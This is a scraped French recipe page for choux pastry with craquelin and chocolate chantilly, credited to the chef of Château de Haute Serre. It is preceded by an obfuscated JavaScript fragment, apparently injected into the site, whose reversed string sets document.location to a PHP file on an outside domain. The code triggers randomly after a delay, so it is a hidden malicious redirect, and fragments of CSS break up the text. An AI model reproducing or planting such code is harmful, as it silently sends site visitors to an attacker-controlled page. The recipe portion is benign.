) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558807271993{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par, Adrien Manac’h, chef du restaurant « du Château de Haute Serre »http://www.hauteserre.fr/ & membre des Bonnes Tables du Lot

Recette
Temps de préparation : 30 min

Temps de cuisson : 20 min

Ingrédient :
Pour le craquelin
• Farine : 150 g
• Beurre : 100 g
• Cassonade : 60 g

Pour la chantilly
• Crème : 400 g
• Chocolat noir : 150 g
• Miel : 10 g

Pour la pâte à choux
• Lait entier : 300 g
• Beurre : 120 g
• Sel : 3 g
• Sucre semoule : 8 g
• Farine : 160 g
• Oeufs frais : 270 g (5 oeufs)